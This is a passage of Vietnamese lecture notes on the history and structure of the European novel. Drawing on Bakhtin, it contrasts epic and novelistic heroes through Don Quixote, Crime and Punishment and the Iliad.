Phương diện 1. 3 phong cách, đây là việc tổ chức ngôn ngữ như thế nào? Trong sử thi, lời kể là lời của người có uy tín kể lại cho con cháu. Ở đó có một phong cách ngôn từ duy nhất, một quan điểm huấn thị duy nhất. Tất cả nhân vật sử thi đều nói một kiểu ngôn từ chung theo một quan điểm thống nhất. Tiểu thuyết thì khác. Trong tiểu thuyết có nhiều phong cách ngôn từ, mang điểm nhìn rất riêng, điểm nhìn ý thức của người kể chuyện chỉ là một trong số những điểm nhìn. Tôi ví dụ, Chiến tranh và hòa bình, trong đó, nhân vật nói có hệ thống ngôn từ riêng, có điểm nhìn ý thức riêng. Như vậy, trong tác phẩm sử thi chỉ có một hệ thống, một điểm nhìn. Trong tiểu thuyết là nhiều điểm nhìn, nhiều quan điểm khác nhau.

Phương diện 2: đối tượng miêu tả là cái hiện tại chưa hoàn tất. Hiện tại chưa hoàn tất là gì? chúng ta đang sống đây là đang sống trong cái hiện tại chưa hoàn tất. Chúng ta đều ý thức đang sống trong dãy liên tục những dãy không hoàn tất. Chúng ta ý thức cái khởi nguồn của chúng ta, và cả dân tộc ta có một cái khởi nguồn từ rất xa, không xác định được điểm đầu tiên. Chúng ta luôn ý thức được nếu xác định được cái khởi nguồn thì sẽ có cái trước đó nữa. Vì thế, đang ở đây chính là xác định cái đã có trong quá khứ và cái có trong tương lai. Chúng ta đang sống trong nội tại thời gian lịch sử. Nhân vật trong tiểu thuyết cũng như vậy, nó đang sống trong thời gian lịch sử đang hiện tại chứ chưa hoàn tất. Trong nhân vật thể nào cũng có tìn hiệu thể, hiện caí thời điểm lịch sử. Trong Tội ác và trừng phạt, khi nhân vật đang gấp tờ báo, nghĩ lại, thì câu chuyện diễn ra vào mùa hè 1865. Ngay cả trong tiểu thuyết lịch sử, thời gian đó cũng không phải là thời gian đã được hòan tất, mà vẫn là thời gian đang diễn ra. Chúng ta có lẽ biết đến truyện vừa Con gái viên đại úy.  Truyện lịch sử này nói về cuộc khởi nghĩa Pugátsốp, chúng ta đã biết tất cả cái gì đã diễn ra trước và sau cuộc khởi nghĩa đó. Chúng ta nói về cái quá khứ trong tiểu thuyết, nhưng nó vẫn giống với cái hiện tại, bởi nhân vật đang luôn ý thức được cái đã qua, và cái sẽ xảy ra trong tương lai, mà tương lai đó chính là cái hiện tại bây giờ. Nó có thời gian lịch sử hôm qua, và thời gian lịch sử hôm nay. Hoàn tòan khác trong sử thi, vì thời gian trong sử thi là đã hoàn tất tuyệt đối. Quá khứ tuyệt đối là cái được miêu tả đó nằm ngoài lịch sử. Tương tự như vậy, đối với Ramayana, đó là quá khứ tuyệt đối. Nhân vật trong sử thi là thần thánh, bán thần và anh hùng. Nhân vật sử thi ở trong quá khứ, ngoài vùng lịch sử, tất cả đã được ý thức lại trong quá khứ sử thi. Trước tồn tại nhân vật sử thi là tồn tại hỗn mang không có gì. Theo dõi sử thi chúng ta thấy nhân vật đó là của quá khứ tuyết đối, họ mang tính lí tưởng, để chúng ta phải hướng tới. Những người nghe sử thi, kể cả người cổ đại không bao giờ có thể nhìn thấy các nhân vật trong đó, thí dụ Rama chẳng hạn. Có một cuộc chiến rất lớn giữa Rama và quân giặc.

  1. Phương diện thứ 3 của tiểu thuyết: Người kể chuyện không tồn tại bình đẳng với nhân vật sử thi: giữa chúng có khoảng cách tuyệt đối. Hoàn toàn khác với tiểu thuyết. Trong Tội ác và trừng phạt chúng ta dễ dàng hình dung ra việc giao tiếp với các nhân vật như Xônhia, dễ dàng sống trong thế giới đó. Từ đây có thuật ngữ này của Bakhtin: đây là những phương diện giao tiếp gần gũi nhất với nhân vật.

Cả sử thi lẫn tiểu thuyết đều có ba phương diện này, nhưng qua việc so sánh, thấy được sử thi là quy chuẩn nhất, còn tiểu thuyết là phi chuẩn nhất. Trong sử thi người ta không miêu tả cái bình thường mà miêu tả cái phi thường, cái bất thường. Còn tiểu thuyết thì gần gũi hơn, cho nên nó có tác động mạnh hơn. Từ đây nảy sinh đề tài rất phổ biến của tiểu thuyết là sự kiện tác động làm thay đổi con người. Ở đây tôi nhắc đến tiểu thuyết Đông Kihôtê, sức sống của hình tượng ấy vẫn còn tiếng vọng ở nhiều thế kỉ sau: Épghênhi Ônêgin và Phlôbe. Cấu trúc thể loại của tiểu thuyết nói như vậy là đủ.

Bây giờ tôi nói về sự phát triển của thể loại tiểu thuyết.

Vậy từ tiêu chí nào để xác định sự phát triển? Việc hình dung dòng chảy lịch sử qua sự phát triển nhanh hơn phân tích tác phẩm. Tuy nhiên cũng có thể điểm qua các thời đại trung cổ, phục hưng, ánh sáng. Tôi sẽ trình bày các giai đoạn phát triển lịch sử phát triển thể loại của các nhà nghiên cứu châu Âu. Có một nhà nghiên cứu văn học là Kônrat, ông ta cho rằng thời kì phục hưng có tất cả mọi nơi, mọi dân tộc. Quan điểm này không phải ai cũng đồng ý. Tôi nói vậy về Kônrat là vì khi tôi nói về cổ đại, phục hưng, thì không phải là nói về cái chung cho tất cả, vì tôi cũng không biết phương Đông của các bạn như thế nào. Tuy nhiên, một số nhà thi pháp học lịch sử cho rằng có thể xác định ba giai đoạn ở châu Âu:

1- chủ nghĩa truyền thống

2- giai đoạn nhìn lại truyền thống

3- phản truyền thống.

Ernst Kurtius tác giả về cuốn sách viết về văn học latinh và thời trung cổ, và Xecgây Averinsep. Tôi nêu tên hai chuyên gia thống nhất với nhau về quan điểm có ba giai đoạn phát triển ở châu Âu. Cuốn sách của Kurtius ra đời năm 1940, còn ở Nga, Avêrinsep cũng đi đến kết luận về ba giai đoạn này như sau:

Giai đoạn truyền thống: lúc đó có nghệ thuật nhưng chưa có ý thức về tác phẩm.

 

Bài thứ 3

Có mối liên hệ giữa 3 giai đoạn phát triển và cấu trúc tiểu thuyết. Giai đoạn 1: vô thức. Giai đoạn 2: có ý thức . Giai đoạn 3: phản truyền thống. Trên thực tế, có những khái quát rộng, nhưng chưa có những khảo sát cụ thể. Do vậy, chúng tôi sẽ đi từ khảo sát cụ thể qua văn học Nga và châu Âu. Điều đó không có nghĩa là chúng ta học một bài về lịch sử văn học, mà chỉ coi đó là những thí dụ để hiểu giai đoạn văn học. Chúng ta cần hiểu lôgic của sự đổi thay trong lịch sử tiểu thuyết. Khi so sánh cấu trúc tiểu thuyết và sử thi, chúng ta đã bỏ qua một đặc điểm quan trọng. Chúng ta cần biết về việc tại sao phải tách ra những thành tố của tiểu thuyết, tại sao quan tâm đến sự kể, tương quan giữa hai thành tố là người đọc và chuyện kể?  mục đích là để tạo dựng hình tượng nhân vật, con người. Hình tượng nhân vật cũng có cấu trúc riêng của nó. Khi chúng ta nghiên cứu lịch sử tiểu thuyết, chúng ta bắt buộc phải nghiên cứu hình tượng nhân vật và phải xác định nhân vật sử thi khác với nhân vật tiểu thuyết như thế nào? Để làm như vậy, đầu tiên phải xác định nhân vật là gì, vai trò, cấu trúc, hành động… Chúng ta có thể đối sánh con người ngoài cuộc đời và nhân vật. Chúng đều có cấu trúc riêng. Chúng ta biết qua chính chúng ta hoặc qua những người khác, rằng có người có sự cân bằng, nhưng có người là tổng hòa của những mâu thuẫn bên trong. Có những người nhất quán với bản thân, nhưng cũng có người luôn mâu thuẫn với bản thân. Trong cuộc sống chúng ta luôn phải sắm vai trò nhất định. Những vai trò đó đóng một chức năng trong đời sống nhất định. Thí dụ, trước các bạn, tôi đang sắm vai giảng viên. Ngoài ra tôi còn phải đóng vai khác: người chồng, người cha. Trong mọi vai trò đều phải là chính mình. Tuy nhiên có những người khi đóng vai trò này hoặc khác lại là những con người khác hẳn nhau. Trong gia đinh thì là người rất hiền lành nhân hậu, nhưng trong xã hội lại hoàn toàn khác hẳn. Tương tự như vậy trong văn học, nhân vật cũng phải sắm nhiều vai khác nhau, và nó liệu có trùng với nhau không? Chúng ta phân biệt nhân vật sử thi và tiểu thuyết: ở trong sử thi, nhân vật luôn ngang bằng với chính nó trong mọi vai trò, suy nghĩ và hành động. Có thể thí dụ từ Iliat của Hômerơ. Chúng ta nhớ nhân vật chính là Asin có hai hành động quan trọng nhất. đầu sử thi, Asin từ chối tham chiến. Ta biết, đây là cuộc chiến tranh giữa thành Tơroa và quân Hy lạp (Tơroa hiện ở vùng Tiểu Á). Đây là cuộc chiến giữa hai cộng đồng. Asin giận vì người ta đã tước đi chiến lợi phẩm của mình là hai cô gái đẹp nên đã từ chối tham chiến. Sau đó Asin lại tiếp tục tham chiến để trả thù việc bạn của anh ta bị giết. Chúng ta chú ý tới nguyên nhân tại sao Asin từ không đến tham gia chiến đấu. Lúc đó quân Tơroa đã đánh đuổi quân Aten đến tận chiến thuyền. Nếu không có chuyện dân Tơroa giết bạn của Asin thì có lẽ anh ta vẫn không tham chiến. Dân Tơroa vốn rất sợ Asin, người dũng mãnh nhất trong quân Hy lạp. Hãy nhớ đến những đoạn miêu tả trang phục và chiếc khiên của Asin. Bạn của Asin đã giả anh ta để tham chiến, và quân Tơroa tưởng là thật. Nhưng đến cổng thành, Vaplôc (?), bị Hecto, người anh hùng số một của Tơroa giết chết. Vì thế, Asin lại quyết định tham chiến. Việc Asin từ chối rồi lại tham gia tưởng chừng mâu thuẫn với nhau, nhưng dù có mâu thuẫn, vẫn là nhân vật ấy. Ở đầu, sử thi có nhắc tới cơn giận của Asin. Đó là cơn giận với cộng đồng của mình vì bị mất chiến lợi phẩm, còn cơn giận sau là bị mất bạn, giận dân Tơroa, một nửa sử thi viết về cơn giận đầu, một nửa sau viết về cơn giận sau. Như vậy, Asin vẫn là nhân vật thuần nhất. Về Asin, số phận đã định là hoặc chết trẻ nhưng vinh quang còn mãi, hoặc chết già, có gia đình êm ấm, nhưng vô danh. Một bên là bất tử, một bên là vô danh. Asin đã chọn lấy cuộc sống ngắn ngủi nhưng vinh quang, bất tử. Sự lựa chọn ấy không phải là tình cờ, mà anh ta đã chọn cuộc sống của người anh hùng. Đó là được sống mãi trong lòng dân tộc. Cuộc sống của người anh hùng là đạt đến bất tử trong sự vinh quang. Như vậy Asin sống với ý thức tương quan số mệnh của mình. Như vậy, anh ta đã sống như người mình cần phải trở thành. Nhân vật trong sử thi là người trùng khít với chính mình trong bản chất của nó. Công thức: nhân vật sử thi bao giờ cũng nhất quán với chính mình trong hành động, mục đích…

Nhân vật tiểu thuyết hoàn toàn khác. Chúng ta trở lại tiểu thuyết Tội ác và trừng phạt. Chúng ta biết rằng nhân vật Ratxcônhicốp đã lựa chọn việc XXXXX Napôlêông trong ý thức người châu Âu thế kỉ19 là người anh hùng. Những việc Raxcônhicốp làm không hoàn toàn là việc phạm tội theo nghĩa thông thường của nó. Chúng ta nhớ rằng đối với Raxcônhicốp, việc giết người như là việc nói lên lời nói mới. Vấn đề là con người trong nhiều thế kỉ đã gìn giữ những nguyên tắc ứng xử. Nhưng Raxcônhicốp không quan tâm đến những nguyên tắc này mà muốn lập nên những nguyên tắc mới. Cho phép đổ máu vì lương tâm, đó là nguyên tắc mới, theo Raxcônhicốp, đó là việc con người giải phóng ý thức mới. Nhân vật Raxcônhicốp này, chúng ta thấy không có mối liên hệ giữa vai trò của mình, nhân vật không có vai tương ứng với nó. Nhân vật này muốn chứng minh rằng: có thể giết người mà không hề áy náy lương tâm. Nhưng sau khi làm việc đó, anh ta lại thấy không phải thế, anh ta tự nhận vai trò của mình là đểu cáng. Hành động thứ hai: thú tội, có vẻ trái ngược với hành động ban đầu. Điều quan trọng hơn là nhân vật không hề nhất quán trong cả hai hành động. Khi giết người, anh ta thấy như là bị lôi kéo đến việc đó. Trong tiểu thuyết, khi anh ta nghe thấy nói, ngày mai không có XXXX ở nhà, anh ta bước những bước đi như người tù. Khi thú tội anh ta cũng đi những bước đi như vậy. Khi nhân vật đi, anh ta thấy những biển hàng, anh ta nghĩ, như là đường đi của những người tử tù, cố gắng ghi nhận những gì còn thấy được trên đường. Cảm giác cố nhớ là cảm giác của những người bị dẫn đi bắn, họ thường cố nghĩ đến những cái khác chứ không phải cái chết. Đối với cả hai hành động, Raxcônhicốp xử sự như là với người khác, được hư cấu, chứ không phải với chính mình. Ở đây, có sự khác biệt với nhân vật sử thi. Về mặt số phận, nhân vật sử thi luôn cố trở thành con người như thế. Còn nhân vật Raxcônhicốp thì chao đảo giữa những công năng khác nhau. Qua đó, có thể thấy được sự khác biệt của hai loại nhân vật. Một bên là trùng khít, một bên là không trùng khít về vai trò, hành động, số phận. Tóm lại, nhân vật tiểu thuyết không trùng khít với số phận, với vai trò chính mình. Như vậy, chúng ta đã rõ về cấu trúc và thái độ nhân vật tiểu thuyết.

Về lịch sử phát triển tiểu thuyết: có chuyển đổi qua ba giai đoạn.

  1. Tiểu thuyết với nhân vật được định sẵn.

Loại hình tiểu thuyết này tồn tại từ cổ đại đến giữa thế kỉ 18. Trong thời này, có những khác biệt ở từng loại khác nhau.

  • Thời cổ đại: có những loại hình tiểu thuyết với những phương án (mô hình) khác nhau. Hàng ngàn năm cổ đại, tồn tại các phương án như thế này: tiểu thuyết phiên lưu tình yêu và phiên lưu trong thế giới sinh hoạt La mã. Tôi nói đến hai loại này, chắc chưa nhiều người biết: tiểu thuyết của Lepkipa và Klistophônt (truyện Bộ lông lừa vàng), nói về chuyện tình yêu của hai nhân vật. Đôi này quen nhau từ thời thơ ấu, yêu nhau, xa cách nhau một thời gian dài, sau đó cưới. Vấn đề là hai nhân vật này có một cuộc phiên lưu, qua một hành trình dài. Cả hai phải vượt qua rất nhiều trắc trở, gian nan, nhưng điều thú vị là khi họ cưới nhau, họ vẫn trẻ trung, xinh đẹp như xưa. Thời gian phiên lưu của họ không được phản ánh trong truyện khiến ta nhớ đến truyện cổ tích thần kì. Chúng ta nhớ bất kì truyện cổ tích dân tộc nào cũng có cô gái bị lạc mất vị hôn phu và có một cuộc hành trình đi tìm vị hôn phu đó. Trong truyện cổ tích Nga, cô gái phải rách đến 12 đôi giày mới tìm được người yêu. Trong truyện cổ tích, nhân vật dù phải đi rất nhiều nhưng không hề đổ mồ hôi và mệt mỏi, điều ấy không được miêu tả trong truyện cổ tích. Đây cũng là đặc điểm rất quan trọng mà chúng ta cần nhận thấy trong truyện cổ tích: nhân vật cuối cùng vẫn như xưa. Trên thực tế, dù chúng ta đi du lịch, hoặc đi đến vùng đất lạ, thể nào cũng có những nhận thức mới. Nhưng trong truyện tình yêu này, nhân vật không hề có biến đổi về kinh nghiệm sống. Như vậy nhân vật trong tiểu thuyết phiên lưu này đồng nhất với chính mình, về nội tâm không có gì thay đổi, chỉ có hoàn cảnh thay đổi mà thôi.
  • Về phương án thứ hai của tiểu thuyết cổ đại: Trong tiểu thuyết Bộ lông lừa vàng, cái quan trọng nhất là sự biến hóa (sự hóa thân). Nhân vật trong tiểu thuyết này bị hóa thành con lừa vàng. Cuối cùng, anh ta trở lại thành người. Có thể cảm giác là nhân vật thay đổi, nhưng về bản chất nhân vật không hề thay đổi. Ở đầu tiểu thuyết, anh chàng Luxi này rất vui vẻ, đam mê những cuộc phiên lưu tình yêu, dù biến thành con lừa, nhưng đam mê tình yêu này vẫn còn. Đối với nhiều dân tộc, con lừa biểu hiện cho năng lực tình dục mạnh. Như vậy, anh ta có thay đổi bề ngoài nhưng bên trong không hề thay đổi. Loại tiểu thuyết đầu tiên tôi nói đến được xây dựng trên mô hình: chia ly – tìm kiếm – gặp lại. Còn loại thứ hai, mô hình là đánh mất (trong truyện Bộ lông lừa vàng là mất hình dạng) – tìm kiếm – tìm thấy. Cái này gần mô hình sử thi nhưng gắn với sinh hoạt con người. Trong Bộ lông lừa vàng, có miêu tả cuộc sống sinh hoạt của nhiều dân tộc khác nhau, với bức tranh thường nhật, đời thường. Và cuộc sống sinh hoạt thường nhật ở các vùng khác nhau này được nói trong tiểu thuyết này. Nhân vật sử thi không phải là con người cá nhân. Họ là hiện thân cho lí tưởng của cộng đồng. Nhưng ngay từ phương án của tiểu thuyết cổ đại, đã quan tâm tới sự riêng tư của con người: gia đình, tình yêu. Nhân vật trong con lừa vàng cũng là nhân vật với đời sống riêng tư của mình. Chính sự quan tâm tới cuộc sống riêng tư và tính thời sự của cuộc sống riêng tư ấy chính là đặc trưng của tiểu thuyết kể cả từ cổ đại. Thực ra những thử thách này chính là để cho nhân vật được thử thách, tạo nên sự hấp dẫn của truyện.
  • Còn có loại tiểu thuyết phiên lưu bợm nghịch, hiệp sĩ.

Có sự giống nhau giữa hai loại này: là qua các cuộc phiên lưu, cả hai loại nhân vật đều không thay đổi. Việc khác biệt không phải ở chỗ, hiệp sĩ thuộc lớp trên và ngược lại. Trong truyện hiệp sĩ, thế giới hiện lên mang tính lí tưởng, còn trong truyện bợm nghịch thế giới là thế giới bình thường, sinh hoạt. Khác biệt nữa là hai loại này khác về cấu trúc ngôn từ. Tiểu thuyết hiệp sĩ chỉ gồm một phong cách thống nhất, một cách nói thống nhất. Tiểu thuyết bợm nghịch có những loại ngôn từ khác nhau, lời các nhân vật với cách nói khác nhau. Trong thế giới bợm nghịch có những con người thuộc nghề nghiệp, giai tầng khác nhau. Thế giới tiểu thuyết bợm nghịch chính là bước chuẩn bị cho tiểu thuyết thế kỉ 19. Để hiểu được cái gì là cái chuẩn bị cho tiểu thuyết thế kỉ 19 phải hiểu được tiểu thuyết phục hưng.

Bakhtin có phát hiện vĩ đại về cái ảnh hưởng đến sự phát triển tiểu thuyết:

  1. Cách hiểu hay nhận thức mới về thời gian. Theo Bakhtin, ông có tư tưởng rất hay về thời đại phục hưng: nhận thức mới về thời gian. Đó là, tiểu thuyết ngay từ lúc đầu cũng nói về cái đương đại, nhưng đó là cái đương đại tiếp nối từ quá khứ. Thời đại phục hưng phát hiện ra cái khởi nguồn: thời tương lai tiếp nối cái đương đại. Tôi có ý như thế này: chúng ta đang sống trong một thời đại lịch sử. Đó là kết quả của sự lựa chọn ngày hôm nay của chúng ta. Trong đó, con người lần đầu tiên ý thức mình như một chủ thể lịch sử. XXXXXXX Nhưng trong thời gian khủng hoảng đấy là kết quả của sự lựa chọn của chúng ta. Ý niệm về lịch sử như là kết quả lựa chọn chủ động. Do đó lịch sử chính là sự lựa chọn sáng tạo của con người. Đây là một đặc điểm quan trọng phân biệt thời phục hưng so với trước.

Điểm thứ 2: Thời phục hưng, đó là thời đại dưới nhận thức của Bakhtin: thế giới là sự trọn vẹn toàn thể của nhiều dân tộc khác nhau: thế giới đa giọng. Thời trung cổ, đó là thời đại chỉ có một thứ ngôn ngữ, đó là tiếng la tinh. Văn hóa trung cổ châu âu bị ngự trị của thế giới quan tôn giáo, một quan điểm thống nhất. Thời phục hưng là thời đại châu âu thoát ra khỏi độc tôn của một đức tin, một ngôn ngữ. Đó là thời đại kiếm tìm những đức tin khác nhau. Tôi nói về những biến chuyển văn hóa để chúng ta hiểu thêm về biến đổi tiểu thuyết phục hưng. Có hai tiểu thuyết vĩ đại hàng đầu thời phục hưng: Đôn Kihôtê, Gargangchuya và Pantagruen của Rabơle. Đây là những tiểu thuyết của thời đại biến chuyển. Đôn Kihôtê muốn làm sống lại thời đại hiệp sĩ, trong thực tế là không còn. Tác phẩm là xung đột giữa hai thời đại đang chuyển giao. Hêghen đã nhắc đến sự chuyển giao này trong tác phẩm. Sự chuyển giao đó tạo nên cấu trúc đặc biệt của tác phẩm. Một mặt coi Đôn Kihôtê là tiểu thuyết giễu nhại tiểu thuyết hiệp sĩ. Thí dụ, trong tiểu thuyết hiệp sĩ, người ta chiến đấu với người khổng lồ, thì ở đây Đôn Kihôtê chiến đấu với cối xay gió. Khi Đôn Kihôtê chiến đấu với bầy quỷ, thực chất là với bầy cừu. Đôn Kihôtê hoàn toàn xứng đáng là nhân vật bợm nghịch. Một mặt, tiểu thuyết Đôn Kihôtê là tổng hòa các loại tiểu thuyết cũ. Trong tiểu thuyết của Xécvăngtéc, có sự cấu tạo mới hoàn toàn: có nhiều sự kiện đã từng được nói đến trước đó, nhưng cuốn tiểu thuyết này không hoàn toàn giống bất cứ các tiểu thuyết có trước nào. Cái mới của Xécvăngtéc, đã được nói đến trong cuốn sách nổi tiếng của Pinxki: Cốt truyện Đôn Kihôtê của Xécvăngtéc và sự kết thúc của truyện phục hưng. Ở đây lần đầu tiên xuất hiện khái niệm cốt truyện tình huống. Chúng ta phải xem xét lại mô hình cốt truyện tiểu thuyết trong nhiều thế kỉ.

Có hai sơ đồ cốt truyện cổ sơ: cốt truyện – lặp lại và cốt truyện – tích lũy. Tôi sẽ giải thích tất cả như sau. Trong truyện cổ tích có nhân vật tìm lại, tìm kiếm, tình cờ rơi vào một xứ sở xa lạ, thí dụ cõi âm. Gần đây tôi có đọc truyện cổ tích Việt Nam, trong truyện đó, một đứa bé sinh ra, có vầng hào quang chiếu vào, hóa ra là một con rùa. Vấn đề ở chỗ là trong câu chuyện này là có mối quan hệ con người và thế giới khác. Đứa bé, con rùa đó, là thuộc về cả hai thế giới ấy. Ban ngày, đứa bé là con rùa, ban đêm là một  chàng thanh niên. Nhân vật này là có mẹ là rùa. Bây giờ, anh ta đã lớn và đi tìm nguồn gốc của mình. Và cuối cùng nhân vật sẽ trở lại thành dạng người. Có cảm giác đây chính là cốt truyện theo vòng tròn lặp lại: mất, đi tìm, thấy được. Nhưng thực ra, ở đây có sự biến đổi: nhân vật thay đổi từ dạng này sang dạng khác. Cốt truyện lặp lại dựa trên mô hình mất, tìm, thấy, đó là cơ sở của hầu hết tiểu thuyết phiên lưu. Trong hầu hết các tiểu thuyết phiên lưu: các nhân vật lưu lạc, cuối cùng lại trở về quê hương.

Bây giờ ta nói đến mô hình thứ hai cổ xưa nhất tồn tại trong tiểu thuyết: có thể lấy truyện cổ tích Nhổ củ cảiTêlêmốc làm thí dụ. Truyện Nhổ củ cải: củ cải trong vườn rất lớn, ông già không thể nhổ được, ông gọi vợ đến giúp, nhưng cũng không được, gọi cháu, chó, chuột, cuối cùng họ cũng nhổ được củ cải. Cốt truyện xây dựng theo mô hình 1+1+1…kết thúc bằng một biến cố vui vẻ. Còn một truyện cổ tích khác là Têlêmốc (ngôi nhà nhỏ). Trong ngôi nhà nhỏ có con ếch, chuột đến ở, cuối cùng là con gấu, nhà đổ. Sơ đồ cốt truyện như vậy là cốt truyện tích lũy, cấp số cộng (cumulatio)-lớn dần, lớp sóng, tăng tiến. Đây là loại cốt truyện có liên quan đến Đôn Kihôtê. Nhìn tổng thể, Đôn Kihôtê có vẻ như xây dựng theo kiểu vòng lại, đầu tác phẩm, nhân vật là anh quý tộc bình thường, và chuẩn bị cho mình thành hiệp sĩ, tập hai anh ta trở thành hiện sĩ, phần ba, anh ta trở về nhà. Có vẻ theo vòng tròn:  các sự kiện móc xích lẫn nhau, mỗi cuộc phiên lưu có móc nối với nhau theo kiểu cộng thêm vào. Trong Đôn Kihôtê, có vẻ như hai sơ đồ cổ sơ được cộng lại với nhau, và có sự tích lũy, cuối cùng dẫn đến một thảm họa (dù nhẹ nhàng). Mỗi lần Đôn Kihôtê trở về trong trạng thái mê man, vừa đáng thương vừa đáng cười.  Và cuối tác phẩm, anh ta nhận thấy mình bị chi phối bởi một thế giới tưởng tượng, không tồn tại. Vấn đề là Đôn Kihôtê không chỉ là kết hợp mô hình hai hai cốt truyện cổ xưa ấy. Trên thực tế, tác phẩm tạo nên những nguyên tắc tạo thành cốt truyện mới. Theo Pinxki, tất cả các sự kiện đều là lặp lại các tình huống. Trong Đôn Kihôtê, mỗi tình huống đều là thiết lập lại những yếu tố ổn định của thế giới. Việc chuyển giao thời đại thể hiện trong những nguyên tắc cốt truyện mới. Để khẳng định lại rằng, cần thấy tiểu thuyết Đôn Kihôtê lớn như thế nào so với việc phát triển tiểu thuyết nói chung, cần nói lại tác phẩm Tội ác và trừng phạt. Tiểu thuyết này cũng theo sơ đồ lặp lại. Việc nhân vật giết người là sự chối bỏ những chuẩn mực đạo đức thời đại. Việc thú tội chứng tỏ con người muốn hay không muốn từ bỏ chuẩn mực, cuối cùng cũng phải quay trở về với chuẩn mực đó. Mô hình: vượt qua giới hạn rồi cuối cùng lại quay trở về với nó. Cốt truyện hình như bao giờ cũng có sự quay vòng. Trong Tội ác và trừng phạt, không  phải cái này là nguyên nhân của cái kia, mà chỉ là kết quả của sự kết nối với nhau. Nhìn cách nào đó, tác phẩm cũng xây dựng theo sơ đồ tích lũy. Nhưng giữa Xécvăngtéc và Đốtxtôiepxki thì có sự ngăn cách về lịch sử và những tình huống riêng của nó. Ý nghĩa lịch sử của tội ác thể hiện ở vĩ thanh của tác phẩm: giấc mơ của Raxcônhicốp về ngày tận thế của thế giới. Tôi lưu ý là nhân vật Raxcônhicốp, sau khi nhận tội, bị đi đày, phần vĩ thanh là một năm rưỡi sau, đó là khi anh ta bị ốm và có giấc mơ này. Trong giấc mơ ấy, anh ta thấy cả nhân loại bị chung một căn bệnh: nhiễm vi khuẩn, vi khuẩn bám vào óc, do đó chỉ có mình người đó là biết mình nắm được chân lí, sự thật. Như vậy là mỗi người đều có một chân lí riêng của mình. Vì thế, nhân loại không thể thỏa thuận, diễn ra những cuộc chiến tranh, giết chóc vô nghĩa, kết cục là cả nhân loại bị hủy diệt. Theo Đôtxtôiepxki, nhân loại còn có những thỏa thuận chung về đạo đức thì còn có hòa bình, nếu không sẽ chỉ có chiến tranh và hủy diệt. Giấc mơ này cho thấy Raxcônhicốp là người đầu tiên mắc chứng bệnh này. Thực tế thì tác phẩm này hướng tới ý thức chuyển giao về thời đại: Con người sống theo những chuẩn mực đạo đức truyền thống, và mỗi người có những chuẩn mực đạo đức riêng mình. Những năm 60 thế kỉ 19, bắt đầu xuất hiện những ý thức về nhân cách cho rằng mình là cả thế giới. Đó là lúc con người khẳng định tính độc lập tự do tuyệt đối so với người khác. Và trong giấc mơ của Raxcônhicốp, không có ai tóm lấy cái mớ bòng bong ấy quẳnng đi cho qủy. Raxcônhicốp như vậy là đại diện cho những con người mới, hét to những chân lí của riêng mình. Quan niệm về truyền thống của con người, thí dụ như cộng đồng là quan niệm chính giáo, đại diện là nhân vật Xônhia. Trong cuộc nói chuyện với Xônhia, Raxcônhicốp gần như vô thức bảo Xônhia đọc kinh thánh, những lời thánh hiền về đạo đức truyền thống. Xung đột ở đây: Raxcônhicốp coi con người là sâu bọ, giết bà già chỉ là giết con rận, còn Xônhia không  bao giờ coi như thế. Như vậy, Tội ác và trừng phạt, cũng coi như là cốt truyện chuyển giao hai loại cốt truyện.

Cốt truyện cổ sơ 1: cốt truyện – chu kì. 2. cốt truyện –lũy tiến

XXXXXXX

 

 

Bài thứ 4

Hôm nay chúng ta tiếp tục nói về sự phát triển lịch sử tiểu thuyết châu Âu và những loại hình cơ bản của nó.

Tiểu thuyết – loại hình nhân vật định sẵn: loại này phát triển từ thời cổ đại đến cuối thế kỉ 18. Thời phục hưng có những bước tiến về mặt kiến tạo tiểu thuyết. Phục hưng không chỉ là thời đại của sự phát triển văn hóa mà còn cả tiểu thuyết. Về cách tân tiểu thuyết chúng ta đã nói đến Đôn Kihôtê. Ở đây chúng tôi luôn nhấn mạnh trong tác phẩm có những tình huống cho thấy sự cách tân tiểu thuyết. Tất cả mọi hành động của Đôn Kihôtê đều cố giữ lại những lí tưởng mà thời đại đó không còn nữa. Nhưng có một phương diện khác của cấu trúc tiểu thuyết Đôn Kihôtê được nhắc đến trong công trình của Pinxki. Vấn đề là, mọi hành xử của Đôn Kihôtê đều mang tính lịch sử và được soi sáng bởi hai điểm nhìn khác nhau. Tất cả mọi chuyện diễn ra trong tiểu thuyết đều được lí giải dưới cái nhìn của Đôn Kihôtê: chuẩn bị vũ khí và đánh nhau với những tên khổng lồ. Nhưng nó cũng được soi chiếu dưới cái nhìn của Xăngsô Panxa, anh ta thấy chỉ là cái cối xay gió. Đây thực chất là sự xung đột của hai điểm nhìn khác nhau. Các nhân vật không chỉ bình luận về hành động của nhau mà còn nhận định về cách nói của nhau: Xăngsô chỉ trích Đôn Kihôtê nói năng không phù hợp, còn ngược lại Đôn Kihôtê cũng chê Panxa sử dụng thành ngữ không đúng lúc. Thực tế, việc phê phán lí tưởng lỗi thời đã có từ trước, nhưng đến thời Xecvăngtec mới thể hiện trong tiểu thuyết. Hinh tượng Đôn Kihôtê là thể hiện tinh thần hiệp sĩ, và tương tự, cũng có tinh thần gọi là tinh thần Panxa. Từ Panxa trong tiếng Tâybannha nghĩa là cái bụng. Panxa thực tế thể hiện phần thể xác và những nhu cầu phàm tục của con người. Trong khi đó Đôn Kihôtê biểu tương cho cái tinh thần thuần túy không gắn với thể xác. Cuộc tranh luận giữa hai người thực chất là tiếp nối cuộc tranh luận giữa cái tinh thần tuyệt đối và cái thể xác. Thời phục hưng cũng đã có cuộc tranh luận này, đến Đôn Kihôtê thì mới mẻ hơn. Tôi muốn nói về hai mặt của văn hóa trung cổ mà Bakhtin đã nói. Từ một  khía cạnh là nguyên tắc đạo đức trung cổ vốn hà khắc và không tính đến phần thể xác của con người. Chúng ta biết hiện tượng thời trung cố, ở châu Âu, có việc gọi là tu thân. Từ một góc độ khác, văn hóa dân gian trung cổ lại quan tâm đến phần trần tục, thể xác của con người. Chúng ta thường nghĩ rằng tinh thần quan trọng hơn thể xác. Nhưng khi nói về văn hóa dân gian thì phần thể xác không chỉ có nghĩa là thể xác của một con người. Thể xác ở đây được thể hiện như cái nguồn gốc tự nhiên gắn bó máu thịt giòng giống của con người. Đôn Kihôtê là biểu tượng cho tinh thần thiên chúa giáo, còn Panxa là biểu tượng của thể xác dân gian. Đây có thể coi là hai văn hóa khác nhau, có những ranh giới và nguyên tắc nào đó. Nhưng trong văn hóa dân gian lại có thứ phá vỡ mọi nguyên tắc, mọi tiêu chuẩn, đó là tiếng cười. Nếu như Đôn Kihôtê nghiêm túc một cách bi tráng thì Panxa lại là hiện thân của tiếng cười phàm tục. Tinh thần văn hóa trào tiếu dân gian ấy còn thể hiện trong tiểu thuyết của 